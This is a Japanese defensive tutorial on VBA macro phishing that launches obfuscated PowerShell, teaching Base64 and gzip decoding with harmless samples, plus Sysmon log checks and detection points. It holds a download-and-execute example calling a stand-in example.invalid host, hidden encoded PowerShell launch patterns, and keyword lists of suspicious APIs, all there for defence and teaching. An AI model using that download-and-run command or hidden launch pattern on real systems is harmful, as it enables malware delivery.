メインコンテンツまでスキップ

VBAマクロ型フィッシングとPowerShell難読化を安全に理解する

文書番号:2604.00010

要旨​

ExcelやWordのマクロを悪用したフィッシングでは、文書内で「マクロを有効化してください」と誘導し、ユーザー操作をきっかけにVBAからPowerShellを起動する手口が使われることがあるのだ。

このとき、PowerShellのコードはそのまま書かれるとは限らないのだ。Base64、文字列分割、gzip圧縮などを使って隠され、VBA上ではただの長い文字列に見えることがあるのだ。解析者は、表示されているマクロだけで判断せず、実行される文字列を復元し、PowerShellのエンコード層を順番に剥がす必要があるのだ。

この記事では、外部通信やダウンロードを行わない安全なサンプルを使い、次の点を整理するのだ。

  • VBAマクロからPowerShellが呼び出される基本構造
  • -EncodedCommand の意味
  • PowerShellコードをBase64化する流れ
  • gzip Base64のような追加難読化の考え方
  • 解析者として逆順にデコードする手順
  • 外部通信を開始しようとしているPowerShellコードの見極め方
  • SysmonやPowerShellログで確認する観点

4〜9章の復元学習用サンプルは、外部通信をしない文字列を対象とするのだ。10章の通信・取得・評価を含む例は、実行せずに読むための識別対象なのだ。記事内の全コードが無害であるという保証には広げないのだ。

この記事で扱う範囲​

この記事の目的は、マクロ型フィッシングの構造を理解し、防御・解析・教育に役立てることなのだ。

扱うこと:

  • 安全なPowerShellサンプルのエンコード
  • 実行しないVBAサンプル
  • Base64とgzipの復元手順
  • 不審なPowerShellコマンドの読み方
  • ログ確認の観点

扱わないこと:

  • 実在する攻撃コード
  • 実在するC2ドメインやURL
  • 外部通信を行う実行可能なマクロ
  • ダウンロードや追加ペイロード実行の手順
  • 検知回避や防御機能の無効化

1. マクロ型フィッシングの基本構造​

マクロ型フィッシングの典型的な流れは次の通りなのだ。

  1. ユーザーがExcelまたはWordファイルを開く
  2. 文書内で「コンテンツの有効化」「マクロの有効化」を促される
  3. VBAマクロが実行される
  4. VBAがPowerShellなどの外部プロセスを起動する
  5. PowerShellが難読化されたコードを復元する
  6. 復元されたコードが通信、追加処理、情報収集などを試みる

利用者から見ると、文書が一瞬止まるだけ、あるいは何も起きていないように見えることがあるのだ。しかし裏側では、OfficeプロセスからPowerShellが起動されている可能性があるのだ。

技術者がまず見るべきなのは、VBAがどのプロセスを起動しようとしているかなのだ。次のような文字列やAPIが出てくる場合は注意するのだ。

CreateObject("WScript.Shell")
WScript.Shell.Run
Shell
powershell.exe
cmd.exe
mshta.exe
wscript.exe
cscript.exe
rundll32.exe
regsvr32.exe

特に、OfficeプロセスからPowerShellを起動し、さらに -EncodedCommand や -WindowStyle Hidden が組み合わさる場合は、優先的に確認すべきシグナルなのだ。

2. なぜVBAからPowerShellを呼び出すのか​

VBAはOffice文書内で動くのだ。一方、PowerShellはWindows環境の管理や自動化に使われる強力なシェルなのだ。

攻撃者は、VBAを最初の起動装置として使い、実際の処理をPowerShellに任せることがあるのだ。VBA側では長い文字列を組み立て、最後にそれを実行する形がよく見られるのだ。

概念的には次のような形なのだ。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

ここで重要なのは、<Base64文字列> の中にPowerShellスクリプトが隠されている点なのだ。

PowerShellの -EncodedCommand は、防御側から見れば解析対象の入口なのだ。VBA上でURLやドメインが見えなくても、Base64を復元した先に通信処理が含まれていることがあるのだ。

3. PowerShell起動オプションの読み方​

不審なマクロを読むときは、PowerShellの起動オプションを先に理解しておくと判断しやすくなるのだ。

オプション意味解析時の見方
-NoProfile / -nopPowerShellプロファイルを読み込まない環境差を減らして実行したい意図
-WindowStyle Hidden / -w hiddenウィンドウを非表示にする利用者に気付かれにくくする意図
-EncodedCommand / -enc / -eBase64化されたコマンドを実行する難読化されたPowerShellがある
-ExecutionPolicy Bypass実行ポリシーを回避する組織の制御を避けたい意図が疑われる
-NonInteractive対話なしで実行するバックグラウンド実行向け

たとえば次のような起動形は、マクロ型フィッシングでよく警戒される組み合わせなのだ。

powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ...

短縮形では次のように見えることもあるのだ。

powershell -nop -w hidden -e ...

ここで -e は -EncodedCommand の省略形として使われることがあるのだ。後続の文字列をBase64として確認するのだ。

4. 安全なPowerShellサンプル​

4〜9章では、外部通信を行わないPowerShellコードの文字列を使うのだ。

このサンプルは、ユーザーの一時フォルダに学習用のテキストファイルを作るだけなのだ。

$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"

このコードは、次のような動作をしないのだ。

  • 外部サイトへの通信
  • ファイルのダウンロード
  • 追加スクリプトの実行
  • 認証情報の取得
  • 永続化
  • セキュリティ設定の変更

学習や研修では、このような無害な処理に置き換えて構造だけを理解するのが安全なのだ。

5. PowerShellコードをBase64化する​

PowerShellの -EncodedCommand に渡す文字列は、通常、PowerShellスクリプトをUTF-16LEのバイト列に変換し、それをBase64化したものなのだ。

安全なサンプルをBase64化する例は次の通りなのだ。

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)

$encoded

重要なのは次の行なのだ。

[System.Text.Encoding]::Unicode.GetBytes($script)

PowerShellにおける Unicode は、ここではUTF-16LEを意味するのだ。そのため、解析時もBase64をデコードした後、UTF-16LEとして読む必要があるのだ。

Base64化された文字列は、次のようなコマンドに組み込まれるのだ。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

この時点では、文字列を見ただけでは中のPowerShellコードが何をするか分からないのだ。

5.1. このサンプルのBase64文字列​

前節の安全なPowerShellサンプルをUTF-16LEとしてBase64化すると、次の文字列になるのだ。

JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==

これをコマンドラインに入れると、構造としては次のようになるのだ。

powershell.exe -NoProfile -EncodedCommand JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==

このコマンドも学習用であり、実行しても一時フォルダにテキストファイルを作るだけなのだ。ただし、未知の検体では同じ形のコマンドを絶対に直接実行せず、先にデコードして内容を確認するのだ。

5.2. 標準コマンドで再現する​

macOS/Linuxでは、printf、iconv、base64 を使って同じBase64文字列を作れるのだ。

printf '%s\n' \
'$Message = "training-only macro analysis sample"' \
'$Path = Join-Path $env:TEMP "macro-training-sample.txt"' \
'Set-Content -Path $Path -Value $Message -Encoding UTF8' \
'Write-Output "Wrote training marker to $Path"' \
| iconv -f UTF-8 -t UTF-16LE \
| base64 \
| tr -d '\n'

ポイントは、PowerShellの -EncodedCommand に合わせてUTF-16LEへ変換してからBase64化することなのだ。

Windows PowerShellだけで同じ処理を行う場合は、次のようにするのだ。

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))

6. VBAマクロに埋め込む安全な例​

実際の悪性マクロでは、VBAがPowerShellを実行するのだ。しかし研修や記事では、実行可能な形にする必要はないのだ。

次の例は、PowerShellコマンドを組み立てて表示するだけなのだ。実行はしないのだ。

Sub Training_Macro_Does_Not_Execute()
Dim encoded As String
Dim cmd As String

' 学習用。前節のBase64文字列を分割して入れる。
encoded = ""
encoded = encoded & "JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQ"
encoded = encoded & "B0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAi"
encoded = encoded & "AAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAF"
encoded = encoded & "UAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA=="

cmd = "powershell.exe -NoProfile -EncodedCommand " & encoded

' 安全のため実行せず、内容を表示するだけ。
MsgBox cmd
End Sub

悪性マクロでは、最後が次のような実行行に置き換わっていることがあるのだ。

CreateObject("WScript.Shell").Run cmd

または次のような形なのだ。

Shell cmd, vbHide

解析者は、このような行を見つけたら「どの変数が実行されるのか」を追いるのだ。上の例であれば、調べるべき対象は cmd なのだ。

7. マクロを有効化すると何が起きるか​

ユーザーがマクロを有効化すると、VBAコードが実行されるのだ。悪性文書の場合、裏側で次のような処理が進むことがあるのだ。

  1. VBAが分割された文字列を連結する
  2. powershell.exe を含むコマンドラインを作る
  3. WScript.Shell.Run や Shell でPowerShellを起動する
  4. -EncodedCommand のBase64がPowerShell側で復元される
  5. 復元されたPowerShellがさらに別のBase64や圧縮データを展開する
  6. 最終段階で外部通信や追加処理が行われる

ここで注意したいのは、VBA上で見える文字列が最終的な処理内容とは限らないことなのだ。

表面上のVBAは単なるラッパーであり、実際に確認すべきコードは、Base64を復元した先や、さらに圧縮を展開した先にあることがあるのだ。

8. 順番に難読化する手順​

ここでは、攻撃者が使う代表的な隠し方を、安全なサンプルで順番に確認するのだ。

8.1. 平文のPowerShellを書く​

まず、外部通信をしない安全なPowerShellコードを用意するのだ。

$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"

8.2. UTF-16LEとしてBase64化する​

$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)

8.3. PowerShell起動コマンドに入れる​

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

8.4. VBAで文字列を分割する​

VBAでは、長いBase64文字列を分割して連結することがあるのだ。

encoded = encoded & "<Base64 part 1>"
encoded = encoded & "<Base64 part 2>"
encoded = encoded & "<Base64 part 3>"

この分割により、単純な目視や文字列検索では中身を把握しにくくなるのだ。

8.5. gzip圧縮を追加する​

より複雑なケースでは、内側のテキストをgzip圧縮し、その圧縮バイト列をBase64化することがあるのだ。

安全なテキストをgzip Base64にする例なのだ。

$text = @'
This is a training-only inner payload.
No network access.
No download.
No execution.
'@

$inputBytes = [System.Text.Encoding]::UTF8.GetBytes($text)

$ms = New-Object System.IO.MemoryStream
$gzip = New-Object System.IO.Compression.GZipStream(
$ms,
[System.IO.Compression.CompressionMode]::Compress
)

$gzip.Write($inputBytes, 0, $inputBytes.Length)
$gzip.Close()

$gzipBase64 = [Convert]::ToBase64String($ms.ToArray())
$gzipBase64

このようにして作られた文字列は、Base64を戻しただけでは読めないのだ。Base64デコード後にgzip展開が必要なのだ。

このサンプルテキストを gzip -n 相当で圧縮し、Base64化した例は次の通りなのだ。

H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA

macOS/Linuxの標準コマンドで同じ文字列を作るには、次のようにするのだ。

printf '%s\n' \
'This is a training-only inner payload.' \
'No network access.' \
'No download.' \
'No execution.' \
| gzip -n -c \
| base64 \
| tr -d '\n'

gzip -n は、元ファイル名や時刻情報をgzipヘッダに入れないための指定なのだ。gzipヘッダのメタデータが違うとBase64文字列は変わりますが、展開後の本文が同じであれば解析上の意味は同じなのだ。

9. 解析者として逆順にデコードする​

ここからは、解析者の立場で難読化を剥がす手順を見るのだ。

9.1. VBA内の実行対象を特定する​

まず、VBA内で実行に使われる変数を探するのだ。

cmd = "powershell.exe ..."
CreateObject("WScript.Shell").Run cmd

この場合、cmd の中身が実行対象なのだ。

別の変数名が使われることもあるのだ。重要なのは、最後に Run や Shell に渡される値を追うことなのだ。

9.2. 分割された文字列を連結する​

次のような連結処理があれば、順番通りに復元するのだ。

encoded = encoded & "AAAA"
encoded = encoded & "BBBB"
encoded = encoded & "CCCC"

復元後は次のようになるのだ。

AAAABBBBCCCC

VBAの文字列連結では、& や + が使われるのだ。行継続文字 _ が使われる場合もあるのだ。

9.3. -EncodedCommand の後ろを取り出す​

復元したコマンドが次のように始まる場合、-EncodedCommand の後ろにある文字列を取り出するのだ。

powershell.exe -NoProfile -EncodedCommand <Base64文字列>

短縮形も確認するのだ。

powershell -nop -w hidden -e <Base64文字列>

-e、-enc、-EncodedCommand は、後続にBase64化されたPowerShellがあることを示するのだ。

9.4. Base64をUTF-16LEとしてデコードする​

安全な解析用コードなのだ。

$encoded = "<ここにBase64文字列を入れる>"

$bytes = [Convert]::FromBase64String($encoded)
$decoded = [System.Text.Encoding]::Unicode.GetString($bytes)

$decoded

文字化けする場合は、エンコーディングの違いや、Base64文字列の切り出しミスを疑いるのだ。

PowerShellの -EncodedCommand であれば、まずUTF-16LEとして読むのが基本なのだ。

macOSでコマンドラインから復元する場合は、base64 -D と iconv を使うのだ。

printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -D \
| iconv -f UTF-16LE -t UTF-8

Linuxでは base64 -d を使う環境が一般的なのだ。

printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -d \
| iconv -f UTF-16LE -t UTF-8

復元結果は、冒頭で示した安全なPowerShellサンプルになるのだ。

9.5. 復元コード内の追加難読化を探す​

復元されたPowerShellの中で、次のような文字列を探するのだ。

FromBase64String
GZipStream
DeflateStream
MemoryStream
ReadToEnd
Invoke-Expression
IEX
DownloadString
Invoke-WebRequest
Invoke-RestMethod

たとえば次の構造があれば、もう一段階の埋め込みデータがある可能性があるのだ。

[Convert]::FromBase64String("<long string>")

さらに次のような名前が出てくる場合、そのBase64は圧縮データかもしれないのだ。

System.IO.Compression.GZipStream
CompressionMode]::Decompress

9.6. gzip Base64を展開する​

gzip Base64を安全に展開するサンプルなのだ。

$gzipBase64 = "<ここにgzipされたBase64文字列を入れる>"

$compressedBytes = [Convert]::FromBase64String($gzipBase64)

$inputStream = New-Object System.IO.MemoryStream(,$compressedBytes)
$gzipStream = New-Object System.IO.Compression.GZipStream(
$inputStream,
[System.IO.Compression.CompressionMode]::Decompress
)

$reader = New-Object System.IO.StreamReader($gzipStream)
$plainText = $reader.ReadToEnd()

$plainText

ここまでで、内側に隠されていたテキストが読めるようになるのだ。外部通信先、パス、User-Agent、API名、プロセス名などは、この段階で見つかることがあるのだ。

前節のgzip Base64サンプルをmacOSで展開する場合は、次の通りなのだ。

printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -D \
| gzip -dc

Linuxでは次のようにするのだ。

printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -d \
| gzip -dc

復元される内容は次の通りなのだ。

This is a training-only inner payload.
No network access.
No download.
No execution.

10. 外部通信を始めるコードを見極める​

復元したPowerShellの中で、次のような要素が出てきたら外部通信の可能性を確認するのだ。

10.1. URLやドメイン​

https://example.invalid/path
api.example.invalid
cdn.example.invalid

学習や検証では、実在する第三者ドメインではなく、example.invalid や test.invalid のような安全な例示用ドメインを使うのだ。

10.2. Invoke-WebRequest​

Invoke-WebRequest -Uri "https://example.invalid/ping"

HTTP/HTTPS通信を行うPowerShell標準コマンドレットなのだ。ファイル取得、疎通確認、外部送信などに使われることがあるのだ。

10.3. Invoke-RestMethod​

Invoke-RestMethod -Uri "https://example.invalid/api"

API通信に使われるのだ。JSONを扱う処理と一緒に出てくることがあるのだ。

10.4. WebClient​

$wc = New-Object System.Net.WebClient
$wc.DownloadString("https://example.invalid/stage.txt")

DownloadString は、指定URLから文字列を取得するのだ。悪性コードでは、追加スクリプト取得に使われることがあるのだ。

特に次のような形は危険度が高い読み方になるのだ。

IEX (New-Object Net.WebClient).DownloadString("https://example.invalid/a.ps1")

これは「URLから取得した文字列をPowerShellコードとして実行する」という意味なのだ。

10.5. HttpClient​

$client = [System.Net.Http.HttpClient]::new()
$client.GetAsync("https://example.invalid/")

.NETのHTTPクライアントを直接使う例なのだ。PowerShellの通信コマンドレットではなく.NET APIを使うことで、単純な文字列検索から逃れようとするケースもあるのだ。

11. 通信以外にも見るべき危険サイン​

PowerShell解析では、通信だけを見ればよいわけではないのだ。次のような文字列やAPIも確認するのだ。

文字列・API意味
Start-Process別プロセスの起動
New-Object WScript.ShellWindows Script Host経由の操作
schtasksタスクスケジューラ操作
HKCU:\Software\Microsoft\Windows\CurrentVersion\Runログオン時自動実行の設定箇所
Add-MpPreferenceMicrosoft Defender除外設定の変更
Set-MpPreferenceMicrosoft Defender設定変更
rundll32DLL実行
regsvr32COM登録やスクリプトレット実行
bitsadminBITS経由の転送
certutil -decodeBase64デコードやファイル処理
IEX / Invoke-Expression文字列をコードとして実行

これらは管理作業でも使われることがあるのだ。単語が出てきたから即悪性とは限らないのだ。

ただし、OfficeプロセスからPowerShellが起動され、非表示実行、Base64、通信、文字列実行が組み合わさる場合は、優先度を上げて確認するのだ。

12. ログで確認する観点​

静的解析で「このような処理をしそうだ」と分かっても、実際に何が起きたかはログで確認するのだ。

代表的な確認ポイントは次の通りなのだ。

ログ見る内容
Sysmon Event ID 1プロセス作成
Sysmon Event ID 3ネットワーク接続
Sysmon Event ID 11ファイル作成
Sysmon Event ID 22DNSクエリ
PowerShell Operational LogPowerShell実行内容
Script Block Logging復元後のスクリプト内容

OfficeからPowerShellが起動された場合、Sysmon Event ID 1で次のような親子関係が見えることがあるのだ。

ParentImage: EXCEL.EXE
Image: powershell.exe
CommandLine: powershell.exe -NoProfile -EncodedCommand ...

DNS通信があれば、Sysmon Event ID 22で問い合わせ先のドメインを確認できる場合があるのだ。

Image: powershell.exe
QueryName: example.invalid

静的解析で見つけたURLやドメインと、実行時ログのDNS・通信イベントを突き合わせることで、単なる埋め込み文字列なのか、実際に使われた通信先なのかを判断しやすくなるのだ。

13. 解析チェックリスト​

VBAマクロ型の不審文書を解析する際は、次の順番で確認するのだ。

  1. VBAコード全体を抽出する
  2. Shell、WScript.Shell、CreateObject を探す
  3. 実行される文字列変数を特定する
  4. 分割された文字列を順番に連結する
  5. powershell.exe、cmd.exe、mshta.exe、wscript.exe の呼び出しを確認する
  6. -EncodedCommand、-e、-enc を探す
  7. Base64をUTF-16LEとしてデコードする
  8. 復元コード内の FromBase64String や GZipStream を探す
  9. 必要に応じてBase64デコード・gzip展開を行う
  10. URL、ドメイン、IPアドレス、User-Agent、API文字列を抽出する
  11. Invoke-WebRequest、DownloadString、HttpClient などの通信処理を確認する
  12. SysmonやPowerShellログと照合する

作業時は、解析対象を直接実行しないことが前提なのだ。実行検証が必要な場合は、隔離された解析環境、スナップショット、通信制御、ログ取得設定を用意するのだ。

14. 防御側の検知ポイント​

組織内で検知ルールを作る場合、次の組み合わせは重要なのだ。

Officeプロセス
-> powershell.exe
-> -EncodedCommand

代表的な親子関係なのだ。

WINWORD.EXE -> powershell.exe
EXCEL.EXE -> powershell.exe
POWERPNT.EXE -> powershell.exe
OUTLOOK.EXE -> powershell.exe

さらに、PowerShellのコマンドラインに次の要素が含まれていれば、調査優先度を上げるのだ。

-EncodedCommand
-WindowStyle Hidden
-ExecutionPolicy Bypass
FromBase64String
GZipStream
DownloadString
Invoke-WebRequest
Invoke-RestMethod
IEX

単独では正当な管理作業でも使われる可能性があるのだ。しかし、Officeプロセスから起動され、非表示実行やエンコード実行が組み合わさる場合は、マクロ型フィッシングの疑いが強くなるのだ。

15. 利用者向けの注意喚起​

技術的な検知だけでなく、利用者教育も重要なのだ。

利用者には、次の点を伝えるのだ。

  • メール添付のOffice文書でマクロ有効化を求められたら警戒する
  • 「請求書」「配送通知」「賞与」「緊急対応」など、焦らせる文言に注意する
  • 送信元が知っている相手でも、文面や添付ファイルに違和感があれば確認する
  • マクロ有効化が業務上本当に必要か確認する
  • 不審な文書を開いた場合は、自己判断で削除せず管理者やSOCに連絡する

利用者に伝えるべき核心は、「マクロを有効化することは、文書に含まれるプログラムを実行すること」だという点なのだ。

まとめ​

VBAマクロ型フィッシングでは、VBA上に明確なURLやドメインが見えないことがあるのだ。PowerShellの -EncodedCommand、Base64、gzip圧縮などにより、実際の処理内容が複数の層に隠されるためなのだ。

解析では、見えているVBAだけで判断せず、次の順番で層を剥がするのだ。

VBA
-> PowerShell起動コマンド
-> EncodedCommandのBase64
-> UTF-16LE PowerShell
-> 内側のBase64
-> gzip展開
-> URL・ドメイン・通信処理の確認

防御側は、OfficeからPowerShellが起動される親子関係、-EncodedCommand、非表示実行、外部通信系コマンドの組み合わせを重点的に監視するのだ。

利用者教育では、「マクロ有効化は文書閲覧ではなくコード実行である」と伝えることが出発点なのだ。技術的な検知と利用者教育を組み合わせることで、マクロ型フィッシングの被害を早期に抑えやすくなるのだ。

仕様の根拠と復元確認の範囲​

Windows PowerShellの-EncodedCommandはUTF-16LEの文字列をBase64で渡す仕様なのだ。起動オプションの根拠はMicrosoftの公式説明を参照するのだ。

掲載した分割Base64とgzipの文字列は、Pythonで復元して本文の期待値との一致を確認したのだ。PowerShellやVBAとしての実行、Windowsイベント生成は、この確認には含めていないのだ。Sysmonのネットワーク接続イベントは既定では無効であり、監査設定・保存期間・取得失敗を確認せずに、ログの不在から実行の不在を結論しないのだ。